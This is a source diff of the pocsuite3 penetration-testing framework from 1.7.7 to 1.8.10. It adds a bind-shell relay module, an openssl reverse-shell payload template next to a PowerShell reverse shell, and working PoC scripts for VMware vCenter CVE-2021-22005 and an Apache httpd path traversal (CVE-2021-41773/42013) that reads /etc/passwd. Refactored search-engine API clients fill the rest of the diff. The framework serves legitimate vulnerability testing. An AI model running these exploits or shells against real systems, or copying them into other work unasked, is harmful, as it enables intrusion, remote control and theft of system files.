POCBase +from pocsuite3.lib.utils import random_str +from pocsuite3.lib.core.common import check_port +from pocsuite3.lib.core.data import conf, logger + + +def read_inputs(s): + buffer = [] + try: + while True: + chunk = s.recv(1) + if not chunk or chunk == b'\n': + break + buffer.append(chunk) + except Exception: + pass + return b''.join(buffer) + + +def read_results(conn, inputs): + if isinstance(conn, telnetlib.Telnet): + flag = random_str(6).encode() + inputs = inputs.strip() + b';' + flag + b'\n' + results = b'' + conn.write(inputs) + count = 10 + while count: + count -= 1 + chunk = conn.read_until(random_str(6).encode(), 0.2) + if len(chunk) > 0: + results += chunk + if results.count(flag) >= 2: + # remove the Telnet input echo + results = results.split(inputs.strip())[-1] + results = os.linesep.encode().join( + results.split(flag)[0].splitlines()[0:-1]) + return results.strip() + b'\n' + elif callable(conn): + results = conn(inputs.decode()) + if not isinstance(results, bytes): + results = results.encode() + if results.strip() == b'': + results = b'COMMAND NO OUTPUT\n' + return results + elif isinstance(conn, socket.socket): + flag = random_str(6).encode() + inputs = inputs.strip() + b';' + flag + b'\n' + conn.send(inputs) + count = 10 + results = b'' + while count: + count -= 1 + ready = select.select([conn], [], [], 0.2) + if ready[0]: + chunk = conn.recv(1024) + results += chunk + if results.count(flag) >= 2: + break + results = results.split(inputs.strip())[-1] + results = os.linesep.encode().join( + results.split(flag)[0].splitlines()[0:-1]) + return results.strip() + b'\n' + return b'\n' + + +def flow_redirect(conn): + s = socket.socket() + s.connect((conf.connect_back_host, conf.connect_back_port)) + while True: + inputs = read_inputs(s) + results = read_results(conn, inputs) + s.send(results) + + +def start_listener(conn): + t = threading.Thread(target=flow_redirect, + name="bind-listener-thread", + args=[conn]) + t.setDaemon(True) + t.start() + + +def bind_shell(obj, rce_func='_rce', check=True): + if not (isinstance(obj, POCBase) and hasattr(obj, rce_func) + and callable(getattr(obj, rce_func))): + return False + conn = getattr(obj, rce_func) + if check: + flag = random_str(6).encode() + if flag not in read_results(conn, b'echo %s' % flag): + return False + start_listener(conn) + + +def bind_tcp_shell(host, port, check=True): + if not check_port(host, port): + return False + try: + s = socket.socket() + s.connect((host, port)) + if check: + flag = random_str(6).encode() + if flag not in read_results(s, b'echo %s' % flag): + return False + start_listener(s) + except Exception as e: + logger.error(str(e)) + + +def bind_telnet_shell(host, port, user, pwd, check=True): + if not check_port(host, port): + return False + try: + tn = telnetlib.Telnet(host, port) + tn.expect([b'Login: ', b'login: '], 10) + tn.write(user.encode() + b'\n') + tn.expect([b'Password: ', b'password: '], 10) + tn.write(pwd.encode() + b'\n') + tn.write(b'\n') + if check: + flag = random_str(6).encode() + if flag not in read_results(tn, b'echo %s' % flag): + return False + start_listener(tn) + except Exception as e: + logger.error(str(e)) diff -Nru pocsuite3-1.7.7/pocsuite3/modules/listener/__init__.py pocsuite3-1.8.10/pocsuite3/modules/listener/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/listener/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/listener/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,5 +1,7 @@ from .reverse_tcp import handle_listener_connection from .reverse_tcp import start_listener from .reverse_tcp import REVERSE_PAYLOAD +from .bind_tcp import (bind_shell, bind_tcp_shell, bind_telnet_shell) -__all__ = (handle_listener_connection, start_listener, REVERSE_PAYLOAD) +__all__ = ('handle_listener_connection', 'start_listener', 'REVERSE_PAYLOAD', + 'bind_shell', 'bind_tcp_shell', 'bind_telnet_shell') diff -Nru pocsuite3-1.7.7/pocsuite3/modules/listener/reverse_tcp.py pocsuite3-1.8.10/pocsuite3/modules/listener/reverse_tcp.py --- pocsuite3-1.7.7/pocsuite3/modules/listener/reverse_tcp.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/listener/reverse_tcp.py 2022-01-10 22:07:00.000000000 +0000 @@ -2,9 +2,10 @@ import socket import threading import time - +import os +from pocsuite3.lib.utils import gen_cert from pocsuite3.lib.core.common import data_to_stdout, has_poll, get_unicode, desensitization -from pocsuite3.lib.core.data import conf, kb, logger +from pocsuite3.lib.core.data import conf, kb, logger, paths from pocsuite3.lib.core.datatype import AttribDict from pocsuite3.lib.core.enums import AUTOCOMPLETE_TYPE, OS, CUSTOM_LOGGING from pocsuite3.lib.core.exception import PocsuiteShellQuitException @@ -27,6 +28,15 @@ s = socket.socket(socket.AF_INET, protocol) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + msg = '' + if conf.enable_tls_listener and protocol == socket.SOCK_STREAM: + import ssl + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + cert_path = os.path.join(paths.POCSUITE_TMP_PATH, 'cacert.pem') + gen_cert(filepath=cert_path) + context.load_cert_chain(cert_path) + s = context.wrap_socket(s, server_side=True) + msg = 'TLS ' try: s.bind((listen_host, listen_port)) except socket.error: @@ -36,7 +46,7 @@ return None if protocol == socket.SOCK_STREAM: - msg = "listening on {0}:{1}".format(listen_host, listen_port) + msg += "listening on {0}:{1}".format(listen_host, listen_port) logger.log(CUSTOM_LOGGING.SYSINFO, msg) s.listen(5) return s @@ -76,31 +86,30 @@ def list_clients(): results = '' for i, client in enumerate(kb.data.clients): - # try: - # client.conn.send(str.encode('uname\n')) - # time.sleep(0.01) - # ret = client.conn.recv(2048) - # if ret: - # ret = ret.decode('utf-8', errors="ignore") - # system = "unknown" - # if "darwin" in ret.lower(): - # system = "Darwin" - # elif "linux" in ret.lower(): - # system = "Linux" - # elif "uname" in ret.lower(): - # system = "Windows" - # - # except Exception as ex: # If a connection fails, remove it - # logger.exception(ex) - # del kb.data.clients[i] - # continue + try: + client.conn.send(str.encode('uname\n')) + time.sleep(0.2) + ret = client.conn.recv(2048) + if ret: + ret = ret.decode('utf-8', errors="ignore") + system = "unknown" + if "darwin" in ret.lower(): + system = "Darwin" + elif "linux" in ret.lower(): + system = "Linux" + elif "uname" in ret.lower(): + system = "Windows" + + except Exception as ex: # If a connection fails, remove it + logger.exception(ex) + del kb.data.clients[i] + continue results += ( str(i) + " " + (desensitization(client.address[0]) if conf.ppt else str(client.address[0])) + " " + - str(client.address[1]) + - # " ({0})".format(system) + + " ({0})".format(system) + '\n' ) data_to_stdout("----- Remote Clients -----" + "\n" + results) @@ -179,7 +188,7 @@ break -def poll_cmd_execute(client, timeout=8): +def poll_cmd_execute(client, timeout=3): if has_poll(): p = select.poll() event_in_mask = select.POLLIN | select.POLLPRI @@ -191,7 +200,7 @@ ret = '' while True: - events = p.poll(timeout) + events = p.poll(200) if events: event = events[0][1] if event & select.POLLERR: @@ -221,7 +230,7 @@ count = 0 ret = '' while True: - ready = select.select([client.conn], [], [], 0.1) + ready = select.select([client.conn], [], [], 0.2) if ready[0]: ret += get_unicode(client.conn.recv(0x10000)) # ret += str(client.conn.recv(0x10000), "utf-8") @@ -314,7 +323,7 @@ p.waitFor() """ POWERSHELL = """$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()""" - + OPENSSL = """rm -rf /tmp/s;mkfifo /tmp/s;/bin/sh -i &1|openssl s_client -quiet -connect {0}:{1}>/tmp/s;rm -rf /tmp/s""" if __name__ == "__main__": diff -Nru pocsuite3-1.7.7/pocsuite3/modules/quake/__init__.py pocsuite3-1.8.10/pocsuite3/modules/quake/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/quake/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/quake/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -7,29 +7,31 @@ class Quake(): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None): - self.headers = None + self.headers = {'User-Agent': 'curl/7.80.0', 'Content-Type': 'application/json'} self.credits = 0 self.conf_path = conf_path + self.token = token if self.conf_path: self.parser = ConfigParser() self.parser.read(self.conf_path) try: - self.token = self.parser.get("Quake", 'token') + self.token = self.token or self.parser.get("Quake", 'token') except Exception: pass - if token: - self.token = token self.check_token() def token_is_available(self): if self.token: try: - headers = {"X-QuakeToken": self.token, - "Content-Type": "application/json"} + self.headers['X-QuakeToken'] = self.token resp = requests.get( - 'https://quake.360.cn/api/v3/user/info', headers=headers) + 'https://quake.360.cn/api/v3/user/info', headers=self.headers) + + if 'month_remaining_credit' not in resp.text: + logger.info(resp.text) + if resp and resp.status_code == 200 and resp.json()['code'] == 0: return True except Exception as ex: @@ -39,8 +41,8 @@ def check_token(self): if self.token_is_available(): return True - else: - new_token = getpass.getpass("Quake API token:") + while True: + new_token = getpass.getpass("Quake API token: (input will hidden)") self.token = new_token if self.token_is_available(): self.write_conf() @@ -48,7 +50,6 @@ else: logger.error("The Quake api token is incorrect. " "Please enter the correct api token.") - self.check_token() def write_conf(self): if not self.parser.has_section("Quake"): @@ -61,8 +62,6 @@ def search(self, dork, pages=2): search_result = set() - headers = {"X-QuakeToken": self.token, - "Content-Type": "application/json"} data = {"query": dork, "size": 10, "ignore_cache": "false", "start": 1} try: @@ -70,7 +69,7 @@ data['start'] = page url = "https://quake.360.cn/api/v3/search/quake_service" resp = requests.post( - url, json=data, headers=headers, timeout=80) + url, json=data, headers=self.headers, timeout=80) if resp and resp.status_code == 200 and resp.json()['code'] == 0: content = resp.json() for match in content['data']: diff -Nru pocsuite3-1.7.7/pocsuite3/modules/seebug/__init__.py pocsuite3-1.8.10/pocsuite3/modules/seebug/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/seebug/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/seebug/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -9,7 +9,7 @@ class Seebug(): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, username=None, password=None): - self.headers = None + self.headers = {'User-Agent': 'curl/7.80.0'} self.token = None self.conf_path = conf_path self.username = username @@ -23,13 +23,14 @@ except Exception: pass + self.check_account() + def token_is_available(self): if self.token: - headers = {'Authorization': 'JWT %s' % self.token} + self.headers['Authorization'] = f'JWT {self.token}' try: - resp = requests.get('https://www.seebug.org/api/user/poc_list', headers=headers) - if resp and resp.status_code == 200 and "id" in resp.json()[0]: - self.headers = headers + resp = requests.get('https://www.seebug.org/api/user/poc_list', headers=self.headers) + if resp and resp.status_code == 200 and "name" in resp.text: return True except Exception as ex: logger.error(str(ex)) @@ -38,12 +39,14 @@ def new_token(self): data = '{{"username": "{}", "password": "{}"}}'.format(self.username, self.password) try: - resp = requests.post('https://api.zoomeye.org/user/login', data=data, ) - if resp.status_code != 401 and "access_token" in resp.json(): + resp = requests.post('https://api.zoomeye.org/user/login', data=data) + if resp.status_code != 401 and "access_token" in resp.text: content = resp.json() self.token = content['access_token'] - self.headers = {'Authorization': 'JWT %s' % self.token} + self.headers['Authorization'] = f'JWT {self.token}' return True + else: + logger.info(resp.text) except Exception as ex: logger.error(str(ex)) return False @@ -51,23 +54,21 @@ def check_account(self): if self.token_is_available(): return True - else: - if self.username and self.password: - if self.new_token(): - self.write_conf() - return True + elif self.username and self.password: + if self.new_token(): + self.write_conf() + return True + while True: + username = input("Telnet404 email account: ") + password = getpass.getpass("Telnet404 password: (input will hidden)") + self.username = username + self.password = password + if self.new_token(): + self.write_conf() + return True else: - username = input("Telnet404 email account:") - password = getpass.getpass("Telnet404 password:") - self.username = username - self.password = password - if self.new_token(): - self.write_conf() - return True - else: - logger.error("The username or password is incorrect. " - "Please enter the correct username and password.") - return False + logger.error("The username or password is incorrect, " + "Please enter the correct username and password.") def write_conf(self): if not self.parser.has_section("Telnet404"): diff -Nru pocsuite3-1.7.7/pocsuite3/modules/shodan/__init__.py pocsuite3-1.8.10/pocsuite3/modules/shodan/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/shodan/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/shodan/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,5 +1,5 @@ import urllib - +import getpass from configparser import ConfigParser from pocsuite3.lib.core.data import logger from pocsuite3.lib.core.data import paths @@ -8,26 +8,27 @@ class Shodan(): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, token=None): - self.headers = None + self.headers = {'User-Agent': 'curl/7.80.0'} self.credits = 0 self.conf_path = conf_path + self.token = token if self.conf_path: self.parser = ConfigParser() self.parser.read(self.conf_path) try: - self.token = self.parser.get("Shodan", 'Token') + self.token = self.token or self.parser.get("Shodan", 'Token') except Exception: pass - if token: - self.token = token self.check_token() def token_is_available(self): if self.token: try: - resp = requests.get('https://api.shodan.io/account/profile?key={0}'.format(self.token)) + resp = requests.get( + 'https://api.shodan.io/account/profile?key={0}'.format(self.token), headers=self.headers) + logger.info(resp.text) if resp and resp.status_code == 200 and "member" in resp.json(): return True except Exception as ex: @@ -37,9 +38,9 @@ def check_token(self): if self.token_is_available(): return True - else: - new_token = input("Shodan API Token:") + while True: + new_token = getpass.getpass("Shodan API Token: (input will hidden)") self.token = new_token if self.token_is_available(): self.write_conf() @@ -47,7 +48,6 @@ else: logger.error("The shodan api token is incorrect. " "Please enter the correct api token.") - self.check_token() def write_conf(self): if not self.parser.has_section("Shodan"): @@ -60,7 +60,8 @@ def get_resource_info(self): try: - resp = requests.get('https://api.shodan.io/account/profile?key={0}'.format(self.token)) + resp = requests.get( + 'https://api.shodan.io/account/profile?key={0}'.format(self.token), headers=self.headers) if resp and resp.status_code == 200 and 'credits' in resp.json(): content = resp.json() self.credits = content['credits'] @@ -70,15 +71,15 @@ return False def search(self, dork, pages=1, resource='host'): + # shodan rest api only support host search + resource = 'host' search_result = set() try: for page in range(1, pages + 1): - url = "https://api.shodan.io/shodan/{0}/search?key={1}&query={2}&page={3}".format(resource, - self.token, - urllib.parse.quote( - dork), - page) - resp = requests.get(url) + url = ( + "https://api.shodan.io/shodan/{0}/search?key={1}&query={2}&page={3}" + ).format(resource, self.token, urllib.parse.quote(dork), page) + resp = requests.get(url, headers=self.headers) if resp and resp.status_code == 200 and "total" in resp.json(): content = resp.json() for match in content['matches']: diff -Nru pocsuite3-1.7.7/pocsuite3/modules/spider/__init__.py pocsuite3-1.8.10/pocsuite3/modules/spider/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/spider/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/spider/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,9 +1,10 @@ import re -from urllib.parse import urlparse, urljoin +from urllib.parse import urljoin from html.parser import HTMLParser from pocsuite3.lib.request import requests from pocsuite3.lib.core.settings import IMG_EXT from pocsuite3.lib.core.data import logger +from pocsuite3.lib.utils import urlparse class LinkParser(HTMLParser): diff -Nru pocsuite3-1.7.7/pocsuite3/modules/zoomeye/__init__.py pocsuite3-1.8.10/pocsuite3/modules/zoomeye/__init__.py --- pocsuite3-1.7.7/pocsuite3/modules/zoomeye/__init__.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/modules/zoomeye/__init__.py 2022-01-10 22:07:00.000000000 +0000 @@ -9,7 +9,7 @@ class ZoomEye(): def __init__(self, conf_path=paths.POCSUITE_RC_PATH, username=None, password=None): - self.headers = None + self.headers = {'User-Agent': 'curl/7.80.0'} self.token = None self.resources = None self.plan = None @@ -20,23 +20,22 @@ if self.conf_path: self.parser = ConfigParser() self.parser.read(self.conf_path) - - if username and password: - self.check_account() - else: try: self.token = self.parser.get("Telnet404", 'Jwt token') except Exception: pass + self.check_account() + def token_is_available(self): if self.token: - headers = {'Authorization': 'JWT %s' % self.token} + self.headers['Authorization'] = f'JWT {self.token}' try: - resp = requests.get('https://api.zoomeye.org/resources-info', headers=headers) - if resp and resp.status_code == 200 and "plan" in resp.json(): - self.headers = headers + resp = requests.get('https://api.zoomeye.org/resources-info', headers=self.headers) + if resp and resp.status_code == 200 and "plan" in resp.text: return True + else: + logger.info(resp.text) except Exception as ex: logger.error(str(ex)) return False @@ -44,12 +43,14 @@ def new_token(self): data = '{{"username": "{}", "password": "{}"}}'.format(self.username, self.password) try: - resp = requests.post('https://api.zoomeye.org/user/login', data=data, ) - if resp.status_code != 401 and "access_token" in resp.json(): + resp = requests.post('https://api.zoomeye.org/user/login', data=data) + if resp.status_code != 401 and "access_token" in resp.text: content = resp.json() self.token = content['access_token'] - self.headers = {'Authorization': 'JWT %s' % self.token} + self.headers['Authorization'] = f'JWT {self.token}' return True + else: + logger.info(resp.text) except Exception as ex: logger.error(str(ex)) return False @@ -57,24 +58,21 @@ def check_account(self): if self.token_is_available(): return True - else: - if self.username and self.password: - if self.new_token(): - self.write_conf() - return True + elif self.username and self.password: + if self.new_token(): + self.write_conf() + return True + while True: + username = input("Telnet404 email account: ") + password = getpass.getpass("Telnet404 password: (input will hidden)") + self.username = username + self.password = password + if self.new_token(): + self.write_conf() + return True else: - username = input("Telnet404 email account:") - password = getpass.getpass("Telnet404 password:") - self.username = username - self.password = password - if self.new_token(): - self.write_conf() - return True - else: - logger.error("The username or password is incorrect. " - "Please enter the correct username and password.") - return False - return False + logger.error("The username or password is incorrect, " + "Please enter the correct username and password.") def write_conf(self): if not self.parser.has_section("Telnet404"): @@ -89,7 +87,7 @@ if self.check_account(): try: resp = requests.get('https://api.zoomeye.org/resources-info', headers=self.headers) - if resp and resp.status_code == 200 and 'plan' in resp.json(): + if resp and resp.status_code == 200 and 'plan' in resp.text: content = resp.json() self.plan = content['plan'] self.resources = content['resources']['search'] @@ -104,11 +102,11 @@ kb.comparison.add_dork("Zoomeye", dork) try: for page in range(1, pages + 1): - url = "https://api.zoomeye.org/{}/search?query={}&page={}&facet=app,os".format(resource, - urllib.parse.quote(dork), - page) + url = ( + "https://api.zoomeye.org/{}/search?query={}&page={}&facet=app,os" + ).format(resource, urllib.parse.quote(dork), page) resp = requests.get(url, headers=self.headers) - if resp and resp.status_code == 200 and "matches" in resp.json(): + if resp and resp.status_code == 200 and "matches" in resp.text: content = resp.json() if resource == 'web': for match in content["matches"]: diff -Nru pocsuite3-1.7.7/pocsuite3/plugins/file_record.py pocsuite3-1.8.10/pocsuite3/plugins/file_record.py --- pocsuite3-1.7.7/pocsuite3/plugins/file_record.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/plugins/file_record.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,6 +1,6 @@ import os import time - +import json from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import PluginBase from pocsuite3.api import logger @@ -26,8 +26,8 @@ poc_name = output.get("poc_name") target = output.get("target") created = output.get("created") - msg = "{} {} {}".format(target, poc_name, created) - self.file.write(msg + '\n') + msg = {"target": target, "poc_name": poc_name, "created_time": created} + self.file.write(json.dumps(msg) + '\n') def start(self): self.file.close() diff -Nru pocsuite3-1.7.7/pocsuite3/plugins/html_report.py pocsuite3-1.8.10/pocsuite3/plugins/html_report.py --- pocsuite3-1.7.7/pocsuite3/plugins/html_report.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/plugins/html_report.py 2022-01-10 22:07:00.000000000 +0000 @@ -136,7 +136,7 @@ def write_html(self, results=None): menus = { - 'Site': 'http://pocsuite.org', + 'Site': 'https://pocsuite.org', 'Seebug': 'https://www.seebug.org', 'Help': 'https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md', 'Bug report': 'https://github.com/knownsec/pocsuite3/issues', diff -Nru pocsuite3-1.7.7/pocsuite3/plugins/target_from_censys.py pocsuite3-1.8.10/pocsuite3/plugins/target_from_censys.py --- pocsuite3-1.7.7/pocsuite3/plugins/target_from_censys.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/plugins/target_from_censys.py 2022-01-10 22:07:00.000000000 +0000 @@ -29,7 +29,7 @@ raise PocsuitePluginDorkException(msg) if conf.dork_b64: import base64 - dork = str(base64.b64decode(dork),encoding = "utf-8") + dork = str(base64.b64decode(dork), encoding="utf-8") if kb.comparison: kb.comparison.add_dork("Censys", dork) info_msg = "[PLUGIN] try fetch targets from censys with dork: {0}".format(dork) diff -Nru pocsuite3-1.7.7/pocsuite3/plugins/target_from_fofa.py pocsuite3-1.8.10/pocsuite3/plugins/target_from_fofa.py --- pocsuite3-1.7.7/pocsuite3/plugins/target_from_fofa.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/plugins/target_from_fofa.py 2022-01-10 22:07:00.000000000 +0000 @@ -12,7 +12,7 @@ category = PLUGIN_TYPE.TARGETS def init_fofa_api(self): - self.fofa = Fofa(user=conf.fofa_user,token=conf.fofa_token) + self.fofa = Fofa(user=conf.fofa_user, token=conf.fofa_token) def init(self): self.init_fofa_api() @@ -26,7 +26,7 @@ raise PocsuitePluginDorkException(msg) if conf.dork_b64: import base64 - dork = str(base64.b64decode(dork),encoding = "utf-8") + dork = str(base64.b64decode(dork), encoding="utf-8") if kb.comparison: kb.comparison.add_dork("Fofa", dork) @@ -44,4 +44,5 @@ info_msg = "[PLUGIN] get {0} target(s) from Fofa".format(count) logger.info(info_msg) + register_plugin(TargetFromFofa) diff -Nru pocsuite3-1.7.7/pocsuite3/plugins/target_from_shodan.py pocsuite3-1.8.10/pocsuite3/plugins/target_from_shodan.py --- pocsuite3-1.7.7/pocsuite3/plugins/target_from_shodan.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/plugins/target_from_shodan.py 2022-01-10 22:07:00.000000000 +0000 @@ -29,7 +29,7 @@ raise PocsuitePluginDorkException(msg) if conf.dork_b64: import base64 - dork = str(base64.b64decode(dork),encoding = "utf-8") + dork = str(base64.b64decode(dork), encoding="utf-8") if kb.comparison: kb.comparison.add_dork("Shodan", dork) diff -Nru pocsuite3-1.7.7/pocsuite3/plugins/target_from_zoomeye.py pocsuite3-1.8.10/pocsuite3/plugins/target_from_zoomeye.py --- pocsuite3-1.7.7/pocsuite3/plugins/target_from_zoomeye.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/plugins/target_from_zoomeye.py 2022-01-10 22:07:00.000000000 +0000 @@ -4,7 +4,6 @@ from pocsuite3.api import conf from pocsuite3.api import ZoomEye from pocsuite3.api import register_plugin -from pocsuite3.api import kb from pocsuite3.lib.core.exception import PocsuitePluginDorkException @@ -32,7 +31,7 @@ raise PocsuitePluginDorkException(msg) if conf.dork_b64: import base64 - dork = str(base64.b64decode(dork),encoding = "utf-8") + dork = str(base64.b64decode(dork), encoding="utf-8") info_msg = "[PLUGIN] try fetch targets from zoomeye with dork: {0}".format(dork) logger.info(info_msg) diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py pocsuite3-1.8.10/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py --- pocsuite3-1.7.7/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/20210923_WEB_Vmware_vCenter_Server_FIleUpload_CVE-2021-22005.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,77 @@ +#! /usr/bin/env python3 +# coding:utf-8 + +from pocsuite3.api import Output, POCBase, register_poc, requests, logger + + +class TestPOC(POCBase): + vulID = '99359' # ssvid + version = '2.0' + author = ['seebug'] + vulDate = '2021-09-22' + createDate = '2021-09-23' + updateDate = '2021-09-23' + references = ['https://www.seebug.org/vuldb/ssvid-99359', 'https://mp.weixin.qq.com/s/UcH-IOUOtO6rsWWetc6O-A'] + name = 'VMware vCenter Server 文件上传漏洞（CVE-2021-22005）检测脚本' + appPowerLink = 'https://www.vmware.com' + appName = 'VMware vCenter Server' + appVersion = 'version < 7.0 U2c、version < 6.7 U3o' + vulType = 'File Upload' + desc = '''攻击者可构造恶意请求，通过vCenter中的Analytics服务上传恶意文件导致远程代码执行漏洞。该漏洞被分配编号CVE-2021-22005。 + 知道创宇云安全已支持该漏洞检测''' + dork = {'zoomeye': 'app:"VMware vCenter"'} + suricata_request = '''''' + suricata_response = '''''' + samples = [''] + install_requires = [''] + + def _check(self): + self.url = self.url.rstrip('/') + try: + rep = requests.post(self.url + "/analytics/telemetry/ph/api/hyper/send?_c&_i=test", + headers={"Content-Type": "application/json"}, data="lorem ipsum") + if rep.status_code == 201: + return True + + headers = { + "Accept-Encoding": "gzip, deflate", + "X-Deployment-Secret": "abc", + "accept": "application/vapi", + "Connection": "keep-alive", + "Content-Type": "application/json", + } + rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?_c=test&_i=1", headers=headers, data="{}") + + if rep.status_code == 201: + return True + + headers["Connection"] = "close" + rep = requests.post(self.url + "/analytics/ph/api/dataapp/agent?action=collect&_c=test&_i=1", + headers=headers, + data="{}") + if rep.status_code == 200: + return True + except Exception as e: + logger.error(e) + + def _verify(self): + result = {} + if self._check(): + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = self.url + + return self.parse_output(result) + + def _attack(self): + return self._verify() + + def parse_output(self, result): + output = Output(self) + if result: + output.success(result) + else: + output.fail('Internet nothing returned') + return output + + +register_poc(TestPOC) diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py pocsuite3-1.8.10/pocsuite3/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py --- pocsuite3-1.7.7/pocsuite3/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py 1970-01-01 00:00:00.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/20211008_web_apache-httpd_dir-traversal-rce_cve-2021-41773_cve-2021-42013.py 2022-01-10 22:07:00.000000000 +0000 @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +import urllib +from pocsuite3.api import ( + Output, POCBase, register_poc, requests +) + + +class TestPOC(POCBase): + vulID = '99364' + version = '1.0' + author = ['fenix'] + vulDate = '2021-10-08' + createDate = '2021-10-08' + updateDate = '2021-10-08' + references = ['https://www.seebug.org/vuldb/ssvid-99364'] + name = 'apache httpd dir traversal rce (cve-2021-41773/cve-2021-42013)' + appPowerLink = 'https://httpd.apache.org' + appName = 'apache httpd' + appVersion = '2.4.49, 2.4.50' + vulType = 'dir-traversal' + dork = {'zoomeye': '"Apache/2.4.49" "Apache/2.4.50"'} + desc = '' + samples = [''] + install_requires = [] + + def _check(self): + self.url = self.url.rstrip('/') + res = requests.get( + self.url, + timeout=10, + verify=False, + allow_redirects=False + ) + if 'Apache/2.4.49' in str(res.headers): + return True + elif 'Apache/2.4.50' in str(res.headers): + return True + return False + + def _arbitrary_file_read(self, filepath='/etc/passwd'): + res = b'' + filepath = '/.%%32%65' * 10 + filepath + try: + req = urllib.request.Request( + f'{self.url}/icons{filepath}', + ) + res = urllib.request.urlopen(req).read() + except Exception: + pass + return res + + def _verify(self): + result = {} + if not self._check(): + return self.parse_output(result) + for i in ['/etc/passwd', '/windows/win.ini']: + res = self._arbitrary_file_read(i) + if b':/bin' in res or b'[fonts]' in res: + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = self.url + result['VerifyInfo'][i] = res.decode() + break + return self.parse_output(result) + + def _attack(self): + return self._verify() + + def _shell(self): + return self._verify() + + def parse_output(self, result): + output = Output(self) + if result: + output.success(result) + else: + output.fail('Internet nothing returned') + return output + + +register_poc(TestPOC) diff -Nru pocsuite3-1.7.7/pocsuite3/pocs/demo_poc.py pocsuite3-1.8.10/pocsuite3/pocs/demo_poc.py --- pocsuite3-1.7.7/pocsuite3/pocs/demo_poc.py 2021-07-28 05:50:51.000000000 +0000 +++ pocsuite3-1.8.10/pocsuite3/pocs/demo_poc.py 2022-01-10 22:07:00.000000000 +0000 @@ -1,41 +1,57 @@ -import re from collections import OrderedDict - -from pocsuite3.api \ - import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, get_listener_ip, get_listener_port -from pocsuite3.lib.core.interpreter_option \ - import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems +from pocsuite3.api import ( + Output, + POCBase, + POC_CATEGORY, + register_poc, + requests, + VUL_TYPE, + get_listener_ip, + get_listener_port, +) +from pocsuite3.lib.core.interpreter_option import ( + OptString, + OptDict, + OptIP, + OptPort, + OptBool, + OptInteger, + OptFloat, + OptItems, +) from pocsuite3.modules.listener import REVERSE_PAYLOAD class DemoPOC(POCBase): - vulID = '1571' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 - version = '1' # 默认为1 - author = 'seebug' # PoC作者的大名 - vulDate = '2014-10-16' # 漏洞公开的时间,不知道就写今天 - createDate = '2014-10-16' # 编写 PoC 的日期 - updateDate = '2014-10-16' # PoC 更新的时间,默认和编写时间一样 - references = ['https://xxx.xx.com.cn'] # 漏洞地址来源,0day不用写 - name = 'XXXX SQL注入漏洞 PoC' # PoC 名称 - appPowerLink = 'https://www.drupal.org/' # 漏洞厂商主页地址 - appName = 'Drupal' # 漏洞应用名称 - appVersion = '7.x' # 